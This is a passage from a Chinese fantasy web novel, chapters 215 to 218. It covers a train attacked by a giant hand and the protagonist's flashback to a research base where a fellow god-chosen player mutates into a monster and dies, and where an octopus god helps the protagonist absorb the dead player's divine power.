谢叙白头一次见到斗篷人的精神力。 精神力是灵魂的体现,底色恒定,并非一成不变。 而眼前涌动的精神力掺杂着滔天憎怨,形如沥青般浓稠,律动时连空气都变得稀薄,仿佛多看上几眼就会被感染异化,彻底堕落为厉鬼。 哪怕当初在红阴古镇面向成百上千的怨魂,谢叙白也没有感受到如此浓烈的负面情绪,到底是什么样的身份和经历会铸就出这样叫人胆寒的精神力? 他更无法形容这些精神力所带来的熟悉感,竟发现自己能隐隐与之共鸣。 谢叙白拧眉:“你到底……” 眨眼之间,斗篷人的掌心便凝结成一颗幽暗阴冷的棋子。 棋子表面散出一片猩红的血雾,像是刚从尸体里剖出来般。 ——ta竟然和之前的谢叙白一样,在拿自己的分魂炼化为子! 分魂炼子之痛,常人难以想象,可斗篷人表现得就像吃饭喝水那样轻松,要么是感受不到疼痛,要么疼痛对ta就是家常便饭。 “这场游戏,我忽然想到了一个更痛快的玩法,但你的记忆恢复得太慢了。” 斗篷人啪一声将棋子落下,皮笑肉不笑地说:“姑且让我来帮帮你吧,谢叙白。” 第215章 黑王(2) 火车冲上浮空轨道,登时传出不堪忍受的吱嘎震响,底下黝黑无光,如同万丈深渊。 顺利扒住车顶的布莱恩拽着绳子将青年一把扯了过来,憋着一股气,脸色称不上好看。 金发雇佣兵在游戏降临后过惯了被人众星捧月顺风顺水的日子,但自从和宴初一认识后,他被人当沙包丢出去了整整两次!两次! 布莱恩本来想谴责两句让青年下次别再搞偷袭,或者搞偷袭前至少先和他商量两句,下一秒却发现宴初一的情况不对劲。 青年的脸色陡然苍白,额头渗出细密的冷汗。布莱恩有股强烈的既视感,当初在躲避球游戏里看到那对惨死夫妻时,宴初一也是这么个状态! “你没事吧?喂!宴!” 突然天色一黑。 那不是夕阳落下后天色渐黑,黑得相当突兀没有防备,刹那间吸引所有人扭头看向窗外。 紧跟着火车里嘈杂的议论声戛然而止。 所有人瞪大眼睛惊骇地看着窗外,惊出一背冷汗,几乎以为自己出现了幻觉。 “老天爷啊……” 他们看到了什么? 一只巨大的……手掌? 五根手指,皮肤白皙,有着清晰的掌纹和骨节,因为过于巨大连寒毛都一清二楚,毫无疑问那就是人类的手掌。 可是这手掌大得能盖过半边天! 巨手张开五指,从云端径直压了下来,裹挟着呼啸飓风吹得单薄的轨道不稳晃荡。 整列火车立时犹如吊在蜘蛛丝上的蚂蚱一样小幅度甩了起来,几乎脱轨,车内众人在巨大惯性下东摇西晃,心脏吓得差点蹦出嗓子眼。 “那到底是什么东西,巨人??” “艹!我想起来了!最开始出现的就是这家伙!” 当初火车出现的时候,天地也是被大片的阴影笼罩,一道好奇的视线从高处睨下来深深地凝视着所有人,狂风呼啸,大地震颤,难以言喻的压迫感几乎让所有人都站不直身。 7721号火车出现的时候,他们戏称车厢中段的凹痕看着像是被人用手捏的,有人说这么大的手估计能把他们当蚊子捻烂,合着真是这样! 眼下,他们再次体会到了当时的恐惧。更糟心的是,他们还没法使用技能和道具。 遮天蔽日的阴影从头罩下,从左往右吞噬平原,吞噬山丘,吞噬掉火车及隧道——几乎一眨眼就来到众人的面前! 危急时刻,布莱恩操控雷霆击中手掌,麻痹特性迫使巨手在半空一滞,猛然吃痛回缩。 云端传来一声怒吼,声波传开天地仿佛都震了又震,庞大到叫人毛骨悚然的身躯朝前倾轧,猝不及防闯入所有人的视野,大地掀起飓风,吹倒灌木杂草。 众人在高空上看到一双眼睛,布满红血丝,像两轮太阳挂在高空,宛若疯癫地凝视着他们,随后巨手更加气势汹汹地拍了过来。 布莱恩将宴初一护在身后,再次操控雷霆迎击巨手,雷电若银蛇狂舞,但威力太小击不穿巨手的皮肤,只能将它勉强击退。 几次三番,不断吃痛的巨手明显开始气急败坏。 它突然在半空中调转矛头,一把抓住火车下面的轨道! 车内的徐队长和许清然也发现他们能够使用技能,似乎神眷者的身份能够帮他们抵抗部分规则。 许清然毫不犹豫地翻出车厢,帮布莱恩对付巨手。徐队长当机立断挤到驾驶室,两脚将前窗玻璃踢碎! 轨道被巨手吱嘎吱嘎往上撕扯的时候,徐队长也从后勤组员手里接过登山绳,瞄准轨道对面的陆地用力将绳子投掷出去。 攀岩抓钩犹如箭矢飞射而出,狠狠地凿入黑塔的塔沿。 徐济的反应已经很快了,可问题就在巨手不需要速度,庞大的体型让它抬抬手指就能掐住轨道! 轨道被巨手彻底扯断,只剩半截摇摇欲坠地挂在空中,断裂的钢铁碎片淅淅沥沥落入黝黑的悬崖,连个响都听不到。 没有支撑的火车猝然如同断线风筝一样往下掉,剧烈的失重感传来,恐惧的惊呼声在车厢中此起彼伏。 电光火石之间,【重力】玩家耳畔响起沙哑的震喝声:“给火车减重!” 这声音熟悉得不能再熟悉,【重力】玩家一听就知道是宴初一,他条件反射般,下意识将能力笼罩整列火车。 甚至都忘记了当前属于特殊地图,他理论上应当没法使用任何技能。 被减重的火车像气球一样飘了起来,徐队长抓住这一机会,逮住绳索用最快速度把火车往对面拉!下一秒后勤小组的人也冲过来,一只手盖住一只手,齐心协力往回拉! 可整列火车的重量对只有B级的【重力】玩家而言还是太勉强,他脸颊憋到涨红,鬓角青筋暴跳,哐啷一声,没能稳住的火车还是往下坠了一截。 有人说,人在生死存亡之际大脑会一片空白,但【重力】玩家不是。 众人的叫喊,轨道断裂的咔咔金属摩擦声,心脏失衡咯噔起来的那一下,像墨水泼向空白宣纸,溅满【重力】玩家的脑海。 几小时前的休整时间,不少玩家见宴初一脾气温和好说话,觍着脸上来请教如何才能成为谢叙白的眷属。 众所周知只要能够成为神眷者,晋升为神级玩家也不过是板上钉钉的事实。 【重力】玩家当时觉得自己真的是飘了,连这种话题都敢参与。 可看见其他A级玩家积极自信地毛遂自荐,心里陡然生出一种冲动,迫使他不受控制地开口:B级有没有可能成为神眷者? 空气静了一瞬,其他玩家都用异样的眼光看着他,仿佛不明白,一个B级有什么胆子肖想成为神眷者,这和蚂蚁嚷嚷着自己能吞象有什么区别? 【重力】玩家被那些质疑讥讽的目光烫到,当即悻悻地改口:我就随口一问,随口一问。 但宴初一却突然叫住了羞愧得想马上缩到人群后的他。 那时宴初一说了些什么呢? 精神力消耗过剧,【重力】玩家一时有些想不起来了。又是哐啷一声重响,火车擦过轨道,至少四分之三都挂在悬崖下。 汗水犹如雨水淌落,双手抖得像个筛子,技能的波动断断续续地传开,他头晕眼花,感觉自己濒临极限。 ——我可以吗?我真的行吗?不是躲避球时的二十人,这可是一列火车加三百多号人啊! 可也是这个时候,宴初一虚疲的嗓音在他的耳边逐渐清晰,和休整时的回答重合在一起,似乎看出他的怯懦自卑,平静地反问他。 【凭什么不行?】 “啊啊啊啊啊啊!” 【重力】玩家暴喝一声,后槽牙用力到咬出血丝,目眦欲裂:“给老子飘起来!!” 刹那间他的手背爆出金色图纹徽记,全身血液犹如沸腾,在众人震惊难言的目光中,璀璨金光将整个被阴影包裹的火车映照得如同白昼,原本已经掉进悬崖的火车唰一下又窜上了高空! 徐队长等人趁机彻底将火车拉到岸边,大吼:“快!趁现在跳车!” 火车现在是倾斜的状态,人群都往后滑,堆挤在火车后车厢。 幸好他们只是不能用技能,身体数值并没有被削减。回神的一群人相互搀扶,齐心协力砸破车窗玻璃,陆陆续续跳出火车。 他们回头呼喊:“大佬!你们快过来!” 许清然瞄准巨手挥落的间隙,从指缝中跳出去,长鞭挥出将巨手大力抽开。 布莱恩抱着宴初一跳上对岸,再回头抓住许清然甩过来的长鞭,将人一并拽了过来。 所有人逃离火车,平安落在地面上,巨手本该追着他们不放,却不知道为什么对火车情有独钟,猛一下将它抓在手里。 夸嚓喀—— 顷刻间车子在不可抗衡的挤压下炸开,四分五裂! 众人看得心惊胆战,陡然间宴初一嘴里传出的呢喃低吟,引起所有人的注意。 “…不…停…停下来……” 宴初一涣散的眼眸倒映着碎裂的火车,看到许多似曾相识的身影。 旁人皆不知他脑子里是另一副光怪陆离的画面,只看见青年抖着指尖伸出手,似乎想要阻止什么。 透过张开的指缝看过去,巨手抓住破破烂烂的火车升上高空,倏然落下,将火车重重地砸在地面上,碎片飞溅。 啪嚓! 洁白静谧的学习室,身穿白衣的男孩突然抓起玩具火车,凶狠地往地上摔,打断了同伴的长篇大论:“闭嘴,你以为自己是谁?我不需要你来教训我!” 他模样只有六七岁,怒容却狰狞阴狠,呈现在稚嫩的脸蛋上,给人一种极其不和谐的诡异感。 学习室很大,规模堪比足球场,里面有很多人,三五成群,和两个孩子一样身穿白衣,年龄从最低4岁到最高30多岁。 四面有整齐林立的书架,其中一名穿白衣的孩童垫着脚尖,将刚看完的书放回原位,封面上写着《非线性动力学》。左右两边都是这样晦涩难懂的专业书,有各个国家的语言译本。 听到这边的动静,他们齐刷刷看了过来。 除了这些穿白衣的人,隔着半透明的屏障,最外围还站着不少荷枪实弹的警卫,及几名身穿联盟制服的科研人员。 可以看出,这些科研人员在整个屋子里地位最高。 当他们拿起记录板,朝两个争辩的孩子投来审视的视线时,本来想闭嘴的同伴忍不住开口辩驳:“可是你对【规则】的解析方向就是错了!如果不改掉的话,一定没法通过这次的测试,会被淘汰的!” 淘汰这个词汇仿佛深深刺痛男孩的心,他的眼睛唰一下布满红血丝,歇斯底里地吼:“那又怎么样?我为什么非要通过那个狗屁测试?就因为我没办法控制那个该死的小玩具?” “我是谁?我是MIT大学双学位硕士!我是家财万贯的富家公子!我是一家上市企业的CEO!我本来该有大好的前途和未来,为什么要把时间浪费在这个该死的测试里,为什么偏偏是我要经历这样的痛苦?” 男孩捂住脑袋,感觉头疼欲裂,瞳孔里的红血丝朝外蔓延,逐渐变成不正常的猩红血色:“淘汰!淘汰!你们把我当什么东西,是可以随便丢弃的物品吗!没有价值就该被丢弃吗!?那当初为什么要选我来到这里!” “对!为了拯救世界,为了拯救这个该死的、根本不值得的世界!可是谁能来救一救我?!” 同伴看出他的状态不对劲,慌张地喊了声男孩的名字。 男孩不闻不问,张嘴吐出一口浊气,身体痛苦地佝偻下去。 砰! 警卫果断举起麻醉枪,击中男孩的胸口。 半诡怪化的男孩动作一滞,重重地倒了下去。 可下一秒他又摇摇晃晃地撑着身体站了起来! 全身骨骼传来咔嚓咔嚓的声响,嶙峋骨刺犹如丛生的荆棘贯穿皮肤,身体像气球不断膨胀,皮肉却干瘪下去,逐渐转化凶戾的兽态,在地板落下幽暗可怖的阴影。 骇人的诡异气息蔓延,压抑着的惊呼响彻四方:“不好,又有人要异化了!快走!” 电光火石之间,一道身影穿过混乱的人群,一把按下警卫再次高抬的枪口,又风驰电掣般冲到男孩的面前,双手按住他的脑袋,厉声道:“史蒂芬,冷静下来,看着我!” 只一句话,就让狂暴的男孩动作刹停,呆呆地抬起头看着来人。 “white!” 其他人惊喜地高呼。 “white来了,没事了,大家不用担心了!” 可只有刚赶来的少年知道情况没有那么简单。 他闪烁金光的眼眸和名叫史蒂芬的男孩对在一起,不断施加精神安抚,可就像拿木板堵住倾泻的洪流,非常吃力。 他不愿放弃,咬紧后槽牙,掌心金光暴涨。 也是这个时候,半异化的男孩突然颤颤巍巍地握住他的手,眼中溢出一层水光,说话宛若哽咽:“white,我好累啊……” 第216章 过去的真相(4)…… “你知道烤贝果吗,就是圆圆的像甜甜圈一样的东西。我家是伯爵后裔,绝对不允许餐桌上出现这种没有格调的食物……是丽萨,在一个清晨,她把烤好的贝果切成两半,夹上牛油果和芝士片,塞进我的嘴里。” “我不知道她为什么对贝果情有独钟,还偏偏要求我一起吃,每当这时她就会甜腻腻地说:‘噢亲爱的,接受我的最爱等同于接受我的一部分,我也可以跟着你一起试试英国下午茶,你知道的,那些蛋糕甜得我每次都要先喝下三杯咖啡。’” “她真是特别狡猾,更狡猾的是她知道我根本没法拒绝她。她让我习惯了贝果要先烤一遍,里面再加蛋黄酱烤肠各种乱七八糟的东西,可是今天早上,我居然没在餐桌上看到它们!” “我很生气,为什么机器人没有准备我想吃的早餐!它却明确地告诉我,我从来不会去吃那些会让脂肪堆积的垃圾食品,至于亲手设定食谱,更是天方夜谭,因为我向来不怎么在意吃食。” “然而这怎么可能呢?我为了复活丽萨加入基地,吃贝果能够让我记住自己究竟在为什么而战斗,就算训练后忘记洗澡我也不可能忘记设定菜单!可是当我翻遍机器人的运行日志,却发现上面根本没有我记忆里的修改记录!” “我慌了,这一世我已经加入了基地一个月,难道整整一个月我都没有发现食谱的异常?我问机器人知不知道丽萨是谁,机器人说未检索到人物资料,我立马冲出去找认识的人,可是他们都说不认识丽萨!我冲到档案室要求翻看自己的资料,里面也没有丽萨的名字!” 男孩看起来非常混乱,英文波兰语中文混杂在一起,情绪激动时,更是说得语无伦次。 突然,他满是红血丝的眼珠子直勾勾盯过来,像溺水的人看到救生的浮木:“对了,white!你知道的吧?丽萨,就是我和你提到过的妻子,我肯定和你提到过——” “我记得。”谢叙白听到自己毫不犹豫地开口说,“红头发,棕色眼睛,经常苦恼体重,所以喜欢吃贝果加牛油果,感觉很健康,结果吃着吃着就过来蹭你手里的奶酪。喜欢拽着你开越野车旅游,玩各种极限运动,还说你们今后的婚礼一定要在弗洛利奥的童话小镇举行,是个特别热情浪漫的姑娘。” 男孩怔愣地看着谢叙白,那一刻眼中的水雾越积越多,化作止不住的眼泪淌下。 他彻底平静了下来,却无比颓丧,痛苦地用半异化的爪子捂住脸,用沉重的语气嘶哑地说:“……这是我第四次轮回了,white。” “明明身为神眷者的我不会失去记忆,可是我却发现自己逐渐忘记了很多人。我家的佣人、讨人厌的舅母一家、生意上我不得不捏着鼻子去洽谈的蠢货合作伙伴,还有一辈子都没有笑过几次的父母……” “那些死去的人们,被系统抹去了存在,没有接受过赐福的正常人根本不会记得他们,而当我们记忆褪色的时候,又要如何证明他们曾经真实地出现在这世上?” 不等谢叙白开口,男孩突然绝望嚎啕,滚烫泪水成串地从爪缝里溢出来:“证明不了啊!” “white,你说丽萨想在童话小镇举行婚礼,可是我连这种重要的事情都忘记了!我不记得设定食谱,甚至差点忘记加入基地的理由。我分不清现实和虚假,经常怀疑脑子里那些熟悉的身影到底是我发疯时的臆想还是真正的人。发表论文尚且需要充分的论据和数据支撑,可我却根本找不到他们存在的痕迹……无论哪里!” xx年x月x日,全球联合委员会为了抵抗系统及其带来的无限游戏,在剩余的玩家群体中挑选出能成为神眷者的潜力股,经过层层考察与森严的筛选测试,最后留下来的玩家组建成使徒公会。 神力赐福能够让玩家留存记忆。 也是这时,使徒成员才猛然发现,游戏失败并非毫无代价,每次重新开局都会有非常多的人被系统抹掉存在。 那是彻彻底底的消失,现实中没有他们存在的痕迹,没接受过神明赐福的亲朋好友,脑子里也不会留下与他们有关的记忆。 成为神眷者的使徒成员,在一次次的轮回中被摧残意志,精神处于岌岌可危的状态,也在逐渐记不清那些人的样子。 甚至于游戏的降临时间也会错乱,让他们愈发混淆现实和幻影。 当这一切都积压在一起的时候,他们要怎么确定到底是世界有问题,还是自己有问题。 又要怎么分辨自己行路正确,还是跳进了系统早已设计好的陷阱。 谢叙白没有说话,腾不出半点注意力,因为男孩突然激动让好不容易平息的异化再度加速,嶙峋骨刺一寸寸地朝外生长,宛如疯长的荆棘。 他眸色沉了又沉,毫无保留地倾泻精神力,脸颊淌落冷汗,皮肤因精神力透支而苍白透明。 可无论他如何努力,都阻止不了事态朝着他不愿看到的趋势发生。 因为男孩的心已经死了。 在他发现自己即将忘记亲人爱人的那一刻,他的意志就像玻璃般碎掉了,同伴点明他无法正确解析【规则】,等同于揭露他神力正在流失的事实。 是的,意志。 勇敢、悲悯、智慧、坚韧、不屈……这些瑰丽璀璨的人类意志,开启了史书的篇章,文明的诞生,神话的传承。 只要内心持有的某项意志能强烈到与对应的神明共鸣契合,就能引来祂投以注目,成为神眷者。 可是,要一如既往地秉持着心中的信念,无论遇到什么挫折险阻都不动摇,无论见过多么惨烈的死亡都不停歇,那得是多么坚定又冷漠的心,才能达成? 破碎的意志不是没有重建的可能,或许同伴只是想提醒他小心。 但是从男孩发现自己连爱人都快记不清的时候,就已经没有了重整旗鼓的力气。 骨刺穿入脏腑,血沫呛出口鼻。 男孩的呼吸越来越困难,越来越微弱。 周围嘈杂无比,他的眼前浮现一圈圈黑影,看到少年始终平淡冷静的脸此刻充满焦急。 警卫端着枪走了过来,漆黑枪口再一次对准他,他们要赶在事态更加严重前处理掉污染源。 但是少年抓住了枪口,张开嘴怒吼,与警卫进行激烈对峙,吼出声时,胸腔爆发的震动也传到了男孩的胸口。 也是这时,男孩才发现少年的手臂上满是斑驳血点,全是被他体内长出来的骨刺扎的。 但少年没注意,他仍旧在源源不断地挥洒精神力。 以前男孩觉得,这条崎岖险峻的道路想要走到最后,只有心硬如铁的人才能做到。 可是。 “你并不冷漠,也不麻木,white……” 底下的男孩传来细弱蚊蝇的低吟,每一根神经都叫嚣着疼痛,让他吐出的每个字都带着颤音。 听到声音的谢叙白连忙低下头,大声呼喊让男孩不要放弃,然而男孩只是苦笑着摇摇头。 蓄满泪水的蓝色眼睛逐渐失焦涣散,绝望的同时,又透着一丝对谢叙白的怜悯:“迄今为止,你到底是怎么熬过来的呢……” 他只是轮回四次,就已经坚持不住快要疯掉了。 可是眼前的少年在他之前,至少经历过不下十次的轮回。 同理,少年至少保留了十多段和其他人完全不一样的记忆。 那不是一年两年,每一段都多达二十多年。 无人可以倾述,无人能够依靠,在几百年的混乱记忆中保持清醒,在黑暗的荒原上踽踽独行。 他们这些被神选中的天之骄子,最初都看不上这个叫white的少年,觉得他那平平无奇的数值能够进入使徒公会,成为十二使徒预备役之一,完全是沾了母亲【命运女神】的光。 可是现在,再也不会有人不服。 他们带着难以言喻的敬佩去仰望他的背影,又忍不住惶恐。 ——今后的路那么远,看不到尽头,你又要怎么熬下去? 骨刺终究还是贯穿了男孩的躯体,当他彻底咽气的一刻,凶残的怪物将破茧而出。 荷枪实弹的警卫成群涌入,慌乱叫喊此起彼伏,学习室及周边区域拉响刺耳的警鸣,科研人员上前将谢叙白一把拽开,都是因为少年磨磨蹭蹭才耽误了消灭怪物的最佳时机,忍无可忍地训斥:“任性也要有个度,你想害死大家吗!?” 警卫却在后面喊:“等等,情况有变!” 意料中的人间惨案没有出现,可怖的怪物蜷缩在地上,乖顺得像个婴儿。 鉴于怪物没有展现出危害性,警卫谨慎观察后将特殊弹换成麻醉药剂,用特制的电网将怪物擒住。 怪物翻过身背朝上的一刻,所有人都看见了钉在它后脑勺的金色光锥。 这枚光锥在男孩心跳停止的瞬间,笔直地扎入它的脑干,干脆利落地切断控制肢体的神经中枢,让它没办法跳起来大杀四方。 科研人员愣住了,四周静得针落可闻。 谢叙白沉默地拉开他的手,转头时脸上看不出任何情绪,只听见少年用沙哑坚定的声音指挥:“将他送到净化室吧。” 第217章 过去的真相(5)…… 会议室吵闹不休,就史蒂芬的去留陷入激烈争执。 有科研人员说史蒂芬意志崩溃,挡不住【规则】的侵蚀,极有可能受到系统的蛊惑透露机密计划。接受过神力赐福的躯体如果被改造成凶残的BOSS更是不堪设想,必须放逐到时空裂缝。 有高官不满痛斥监管者都是干什么吃的,培养一个使徒预备役至少要花费十亿积分,现在全部打了水漂。 他隐含贪婪的眼睛精光一闪:“这是你们的问题,必须想办法挽回损失。听说神级怪物自愈能力极强,躯体价值不菲,如果能隔一段时间砍下它的肢体制作……” 嘭! 实木桌被踹翻,滚烫的茶水杯差点砸在高官的脸上。 众人震惊地看着突然发难的白大褂中年教授,怒问:“裴执行官,你这是要干什么?” 裴玉衡面容清冷,眉梢讥讽上挑,夹枪带棒地反问:“干什么?” “我以为你们就算没有基本的仁义道德,至少也该有点脑子来分清现在的处境。全地球包括在场所有人的未来和希望都肩负在你们口中的怪物嘴里,和他们比起来你们连草履虫还不如。” 裴玉衡说:“能提供资金已经是你们唯一有用的价值了,居然还敢把牟取私利的龌龊念头打在使徒的头上。一旦使徒成员得知你刚才的提议,你觉得把你砍成几瓣才能平息他们的怒火?” 叮铃铃,一通基地内部传讯打到剑拔弩张的会议室。助理瞄到来电署名,心脏一颤,连忙打开公放。 少年波澜不惊的嗓音在会议室响起,不由分说打断所有人的议论声:“我已经听完了刚才的会议内容,史蒂芬的去留我已有决断……另外,作为第一使徒的受任者,我特请罢免X先生的职位。以防其离开基地后向系统泄漏机密,我同时申请三年的特级监管。” 此话一出,众人哗然。一开始口出狂言的高官惊慌失措,恼羞成怒地驳斥:“你没有罢免我的理由!” “理由就是没有理由。”少年顿了顿,忽而轻笑一声,“而且我以为你至少会抱着感恩的心接受这条通知,至少比起被我砍成几块,你还能在衣食无忧的环境下活到寿终正寝,而绝大部分使徒成员都没有这样优渥的待遇。” 那笑声听着极轻却蕴含十足的威慑力,嘈杂的会议室刹那止声,不赞同的声音如潮水退去。 由于少年平时和和气气,对食堂阿姨都是一副敬重有礼貌的三好学生模样,他们几乎都要忘了,新手副本中是少年斩钉截铁选择迎战,率领使徒公会的成员势如破竹攻向虚空,成百上千万的高维虫兵在少年的精神控制下如同乖顺小狗,谈笑间温雅和善的少年双手一拍,上百艘星舰成串爆破,在浩瀚宇宙炸成璀璨绚烂的烟火,血雨染天。 高官没来得及挣扎就被裴玉衡命令警卫堵上嘴,戴上镣铐像狗一样拖出去。 顾不上再管这些满脑肥油的议员高官,裴玉衡快步走出会议室,在僻静安全的角落拨通少年的私人频道通讯,听到里面传来紊乱嘈杂的电流声,眉头一跳。 基地网络畅通无阻,只有特殊地区会影响信号,他怀疑少年要做傻事,对方一开口连忙询问:“你在哪儿?” “净化室。”少年好像料到他的担心,“放心裴叔叔,我很珍惜自己的这条命,将来还准备在你和妈妈的婚礼上当伴郎呢。” 裴玉衡本来还想问他打算怎么安排史蒂芬,虽然少年说已有决断,但那些尖刻致命的问题始终没法抛开,结果听到这句充满亲昵的调侃,顿时结巴了一下,色厉内荏地反驳:“小,小兔崽子你说什么胡话呢?” “原来那封被妈妈放在枕头下的告白信不是裴叔叔写的?啊!对不起对不起,是我多嘴了。” 通讯频道里裴玉衡的声音更加语无伦次,几乎能想象到那张死板清冷的脸羞恼烧红然后怒气腾腾的样子,谢叙白连忙告饶讨好,眉梢灵动活泼地扬起。 几根粗壮湿滑的黑色触手从少年脚下的阴影探出,环着小腿顺势往上爬,停在少年的肩膀,变成Q弹的小黑章鱼。 祂伸出一根触手,在少年的心口虚空一掏,掏出一团橙红色的情绪,毫不犹豫地塞进嘴里。 ——甜的。 很快结束通讯,谢叙白嘴角上扬的弧度变淡消失,无声看向被关在隔间里的怪物。 麻痹药性渐消,怪物清醒过来。 由于光锥还扎在后脑勺,它动弹不得,凶狠地扫视四周。 空旷凄冷的净化室只有一个人在,很快怪物和谢叙白对上了眼。 它的眼里有看到熟人的困惑,更多的是嗜血的凶性。 两种矛盾的情感碰撞在一起,怪物肉眼可见地痛苦起来,不断嘶吼,爪子微弱地刮擦地板。 谢叙白的脸上没有表情,看着很平静。 触手又在少年的心口一掏,掏出一团黑漆漆的情绪。 祂看了看,似是观察,塞进嘴里,触手顿时一僵。 ——好苦。 不过情绪是守恒,它吃得多了,少年能感受到的苦意就会变少。 是以小黑章鱼很不喜欢,还是在不停地吃。 祂说:【我施下了认知干扰。】 监控不会拍到这里的画面,也不会有人察觉净化室的异常。 谢叙白应了一声:“拜托您了。” 八根触手的好处,就是可以一边进食一边做事。 一根触手如探入水面般毫无滞涩地穿过隔离墙,在怪物身上轻轻一刮,轻而易举地【剥夺】了它残留的神力。 神力具象化为一团酒红色的光芒,那是极其鲜艳的色彩,然而上面混杂了密密麻麻的漆黑斑点,像被蛀空的枯树。 小黑章鱼在酒红光团上仔细挑拣,把杂质全部丢到虚空中去。 失去污染源的怪物眼睛猛然一睁,像筛子般痉挛颤抖,身体以肉眼可见的速度缩成原本的大小,骨刺掉落,露出平整光滑的皮肤,接着是手掌、手臂、躯干…… 谢叙白的呼吸微不可察地急促起来,目不转睛地盯着。 但是直至男孩恢复人形,也没有如他期待中活过来。 少年心中的苦意多得要吃不完了,被苦得脑子发麻的小黑章鱼终于忍无可忍,用触手糊住了谢叙白的眼睛,冷斥。 【明明知道自己看了会痛苦,却还要执意去看。你是不是有虐待自己的癖好?】 谢叙白:“……” 他尝试将触手扒开,下一秒又有一根触手紧巴巴地缠了上来,把他的脑袋牢牢地圈成个麻花卷。 【变成怪物的那一刻,他就已经死了,你以为他还记得你,不过是这具身躯残留的意识本能在作祟。 记忆对他已成负担,比起被放逐到时空裂缝,在无边无际的孤寂和痛苦中饱受折磨,灵魂堕化,彻底迷失自我,下辈子当个普通人没什么不好的。】 谢叙白顿了顿,没有吭声,就在小黑章鱼犹豫自己的语气是不是过重的时候,少年突然来了一句:“您是在安慰我吗?” 小黑章鱼:【……】 和邪神结契已经是几辈子前的事情了。 小黑章鱼最开始非常高冷,也可能是发现自己被忽悠了——谢叙白找上门纯粹是想利用祂的力量,压根没准备信仰祂。 除了特殊时刻会出手,平时就趴在少年的脑袋上闭目小憩当雕塑,怎么呼唤都不理,被戳两下戳烦了会冷冷地拍开少年作妖的手,缩到影子里。 不知道从哪一刻起,祂开始指点他的训练,但最长也不会超过10个字,是以谢叙白现在有种很神奇的感觉,笑着说道:“难得见到您愿意说这么多话,还是为了安慰我,心里突然好开心,感动得不行。” “明明您是如此温柔的神祇,为什么要佯装冷漠无情呢?” 小黑章鱼不回答,少年发出一声感叹:“真好啊,感觉生活又有干劲了,要是您肯再多说几句话,我会更高兴的,肯定会产出更多美味的情绪……这只是您眷属的一个小小小小请求,您真的不愿意吗?” 善于察言观色的少年总是能轻而易举地撩拨情绪,有时候直白露骨到就差明说自己在试探底线。 而他敢这么有恃无恐,往往是在发现自己受到偏爱之后。 小黑章鱼最讨厌人类的得寸进尺,偏偏少年最喜欢持宠行凶。 每当少年狡黠无辜地看过来,露出吃定祂的样子时,祂就想把人按在怀里狠狠打屁股。 脑袋上的触手突然一下撤走了,谢叙白心里直道可惜。 他还挺喜欢吸盘贴在皮肤上的拉扯感,冰冰凉凉的很舒服,更重要的是,能通过吸盘的舒张程度判断小黑章鱼真实的心情,那会让他感觉到,至高无上的邪神并非高不可攀,遥不可及。 与此同时,被筛干净杂质的酒红色光团出现在眼前,如顶级玛瑙血珀般让人神醉。 谢叙白舒张的眉宇再次沉默地压下去,双手将光团接在手里。 【吸收它,对你有好处。】 祂说。 一般来说神力难以共通,贸然夺取他人的神力会有走火入魔的风险,但对邪神来说都不是问题。 不管好的坏的力量,祂都能转换为能安全吸收的能量。 但谢叙白能无障碍吸收神力,是因为他具备各种人类意志,此前还接受过不止一位神明的赐福。 无数神祇为他打开康庄大道,但他偏偏和最冷漠无情的签了契约。 谢叙白一时没有动弹。 接受神明赐福和吞噬他人的神力是完全不同的感觉,他能感受到男孩生前的澎湃意志,里面有人格的不甘和挣扎。 【那只是一团力量。】 祂强调。 不吸收的话会被基地探测器检测到。 基地的上位者忌惮少年拥有的精神控制,更愁找不到机会插足掌控使徒公会。 如果他们知道少年拥有这样的能力,无论少年基于什么情况使用,哪怕他根本没有用过,都会被定下涉嫌侵害其他使徒的罪名,再被重点监禁,剥夺职位和权力。 不管从哪一方面来考量,谢叙白需要力量,吃下这团能量是最好的选择。 但祂不得不承认,当谢叙白表现出明显的抗拒时,自己又一次忍不住心软妥协了。 【如果你不愿意,我来处理。】 谢叙白忽然问:“是不是从今往后,只要我想,我可以吞噬所有神眷者的神力来让自己变强,并且不会受到任何惩罚?” 小黑章鱼没吭声。 因为少年希望祂回答不,但是祂没法说谎。 谢叙白笑了笑,没有继续追问,捏着光团放进嘴里。 他原可以隔空吸收,但是这种吞吃的方式更能让他感觉到自己是在进食。 以此来提醒自己,这种剥夺他人生命力的能力,除非万不得已,不能再有下一次。 第218章 过去的真相(6)…… 可是谁也没想到这个“下一次”会来得如此之快。 这一世谢叙白十八岁那年,洄游在时空长河追索人类生机的谢语春突然现身,神情急切,狼狈匆忙,甚至没顾得上挑选降落地点,直接跌落在人来人往的基地大厅,然后半口气都顾不上换,又闪现到谢叙白的面前。 ——一切的一切,正说明她所带来的的消息已经危急到刻不容缓的地步。 那一天,全球联合委员会前任首席执行官谢语春屏退裴玉衡在内的所有人,和“缄默计划”最高指挥官兼第一使徒的谢叙白前往时空裂缝展开了紧急的秘密会谈。 时空裂缝中没有标准意义上的时间、空间的概念,理论上无限广阔,规则无序,在里面的十分钟可能是外面的二十年,也可能只在一瞬间。 两人在何处会谈,谈了多久,具体又在谈些什么内容,连邪神都无从得知。 不久后谢叙白独自一人回到基地,表面风轻云淡没有任何异样,却在接下来的试炼副本中,盯着敌方派出的BOSS,语出惊人地询问小黑章鱼。 “我能不能吞噬祂?” 历经上万年岁月蹉跎的邪神已经变得心如止水,但在青年说出这种话的瞬间,祂心里仍旧生出一股荒谬和惊愕的情绪。 没有谁比邪神更清楚青年指挥官有多么排斥吞噬能力,吞吃史蒂芬的神力时产生的情绪波动,苦涩到小黑章鱼需要用尽毕生涵养才没有吐出来。 可现在,对方居然主动提起? 其实无论邪神的回答是能,还是不能,都不会影响什么。 谢叙白是三思而后行的典型代表,同时拥有叫人望尘莫及的执行力,非虚情假意时出口的每一句“我是否可以”都不是询问,而是他即将行动的先兆。 那场副本通关后,胜利的众人在登出口欢呼庆祝,拍手称快。人造太阳光下中央大厅礼炮齐鸣,彩带纷飞,传讯员将大家终于攻破中级副本的捷讯沿街传报,各大店铺的老板推出免费营业一日的活动,到处都是一片喜气洋洋的氛围。 然而作为最大功臣之一的青年指挥官却以身体疲累为由,缺席了那场盛大的庆功宴。 他来到小黑章鱼的神明领域【无垢海】,从敌方BOSS剥离下来的能量体被切割成上千块,形似不断坍缩变化的小型黑洞,整整齐齐地码在沙滩上。 经谢叙白的要求,小黑章鱼没有对这些能量体进行无害化处理。 随后祂才知道人类青年想学会怎么剔除杂质并亲手操刀,这意味着谢叙白已做好长期打算,启用吞噬能力并非一时冒进。 小黑章鱼愈发感到不安。 